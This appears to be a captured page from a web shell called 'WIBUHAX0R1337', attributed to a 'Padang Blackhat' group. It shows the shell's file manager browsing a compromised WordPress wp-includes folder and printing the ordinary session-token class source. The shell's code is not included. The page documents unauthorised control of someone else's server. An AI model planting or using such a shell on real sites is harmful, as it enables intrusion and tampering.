-
WIBUHAX0R1337
-
/
home
/
cideo
/
sainchargny
/
wp-includes
/
[ Home ]
Create Folder
Create File
Nama File / Folder
Size
Action
ID3
--
NONE
IXR
--
NONE
Requests
--
NONE
SimplePie
--
NONE
Text
--
NONE
certificates
--
NONE
css
--
NONE
customize
--
NONE
fonts
--
NONE
images
--
NONE
js
--
NONE
pomo
--
NONE
random_compat
--
NONE
rest-api
--
NONE
theme-compat
--
NONE
widgets
--
NONE
author-template.php
15.745KB
Edit File
Delete File
Rename
canonical.php
26.937KB
Edit File
Delete File
Rename
category-template.php
50.121KB
Edit File
Delete File
Rename
category.php
11.703KB
Edit File
Delete File
Rename
class-http.php
35.316KB
Edit File
Delete File
Rename
class-phpmailer.php
143.344KB
Edit File
Delete File
Rename
class-pop3.php
20.429KB
Edit File
Delete File
Rename
class-smtp.php
38.553KB
Edit File
Delete File
Rename
class-snoopy.php
36.899KB
Edit File
Delete File
Rename
class-walker-category.php
6.485KB
Edit File
Delete File
Rename
class-walker-page-dropdown.php
2.226KB
Edit File
Delete File
Rename
class-walker-page.php
6.556KB
Edit File
Delete File
Rename
class-wp-ajax-response.php
4.906KB
Edit File
Delete File
Rename
class-wp-http-curl.php
11.405KB
Edit File
Delete File
Rename
class-wp-http-streams.php
14.644KB
Edit File
Delete File
Rename
class-wp-locale-switcher.php
4.94KB
Edit File
Delete File
Rename
class-wp-post-type.php
17.809KB
Edit File
Delete File
Rename
class-wp-role.php
2.553KB
Edit File
Delete File
Rename
class-wp-simplepie-sanitize-kses.php
1.732KB
Edit File
Delete File
Rename
class-wp-tax-query.php
18.749KB
Edit File
Delete File
Rename
class-wp-taxonomy.php
9.759KB
Edit File
Delete File
Rename
class-wp-text-diff-renderer-table.php
14.838KB
Edit File
Delete File
Rename
class-wp-user-meta-session-tokens.php
2.848KB
Edit File
Delete File
Rename
class.wp-scripts.php
13.828KB
Edit File
Delete File
Rename
cron.php
16.081KB
Edit File
Delete File
Rename
date.php
34.18KB
Edit File
Delete File
Rename
default-filters.php
26.517KB
Edit File
Delete File
Rename
feed-rdf.php
2.607KB
Edit File
Delete File
Rename
feed.php
19.092KB
Edit File
Delete File
Rename
functions.wp-scripts.php
11.212KB
Edit File
Delete File
Rename
general-template.php
135.77KB
Edit File
Delete File
Rename
l10n.php
42.46KB
Edit File
Delete File
Rename
media-template.php
45.033KB
Edit File
Delete File
Rename
media.php
137.07KB
Edit File
Delete File
Rename
meta.php
36.598KB
Edit File
Delete File
Rename
ms-blogs.php
38.263KB
Edit File
Delete File
Rename
ms-default-filters.php
4.544KB
Edit File
Delete File
Rename
nav-menu-template.php
20.382KB
Edit File
Delete File
Rename
post-template.php
57.349KB
Edit File
Delete File
Rename
post-thumbnail-template.php
8.023KB
Edit File
Delete File
Rename
post.php
212.527KB
Edit File
Delete File
Rename
revision.php
20.806KB
Edit File
Delete File
Rename
rewrite.php
17.092KB
Edit File
Delete File
Rename
script-loader.php
78.28KB
Edit File
Delete File
Rename
taxonomy.php
145.88KB
Edit File
Delete File
Rename
wlwmanifest.xml
1.021KB
Edit File
Delete File
Rename
<?php /** * Session API: WP_User_Meta_Session_Tokens class * * @package WordPress * @subpackage Session * @since 4.7.0 */ /** * Meta-based user sessions token manager. * * @since 4.0.0 */ class WP_User_Meta_Session_Tokens extends WP_Session_Tokens { /** * Get all sessions of a user. * * @since 4.0.0 * * @return array Sessions of a user. */ protected function get_sessions() { $sessions = get_user_meta( $this->user_id, 'session_tokens', true ); if ( ! is_array( $sessions ) ) { return array(); } $sessions = array_map( array( $this, 'prepare_session' ), $sessions ); return array_filter( $sessions, array( $this, 'is_still_valid' ) ); } /** * Converts an expiration to an array of session information. * * @param mixed $session Session or expiration. * @return array Session. */ protected function prepare_session( $session ) { if ( is_int( $session ) ) { return array( 'expiration' => $session ); } return $session; } /** * Retrieve a session by its verifier (token hash). * * @since 4.0.0 * * @param string $verifier Verifier of the session to retrieve. * @return array|null The session, or null if it does not exist */ protected function get_session( $verifier ) { $sessions = $this->get_sessions(); if ( isset( $sessions[ $verifier ] ) ) { return $sessions[ $verifier ]; } return null; } /** * Update a session by its verifier. * * @since 4.0.0 * * @param string $verifier Verifier of the session to update. * @param array $session Optional. Session. Omitting this argument destroys the session. */ protected function update_session( $verifier, $session = null ) { $sessions = $this->get_sessions(); if ( $session ) { $sessions[ $verifier ] = $session; } else { unset( $sessions[ $verifier ] ); } $this->update_sessions( $sessions ); } /** * Update a user's sessions in the usermeta table. * * @since 4.0.0 * * @param array $sessions Sessions. */ protected function update_sessions( $sessions ) { if ( $sessions ) { update_user_meta( $this->user_id, 'session_tokens', $sessions ); } else { delete_user_meta( $this->user_id, 'session_tokens' ); } } /** * Destroy all session tokens for a user, except a single session passed. * * @since 4.0.0 * * @param string $verifier Verifier of the session to keep. */ protected function destroy_other_sessions( $verifier ) { $session = $this->get_session( $verifier ); $this->update_sessions( array( $verifier => $session ) ); } /** * Destroy all session tokens for a user. * * @since 4.0.0 */ protected function destroy_all_sessions() { $this->update_sessions( array() ); } /** * Destroy all session tokens for all users. * * @since 4.0.0 * @static */ public static function drop_sessions() { delete_metadata( 'user', 0, 'session_tokens', false, true ); } }
© 2022 - 2023 WIBUHAXOR V1 By Lutfifakee || Padang Blackhat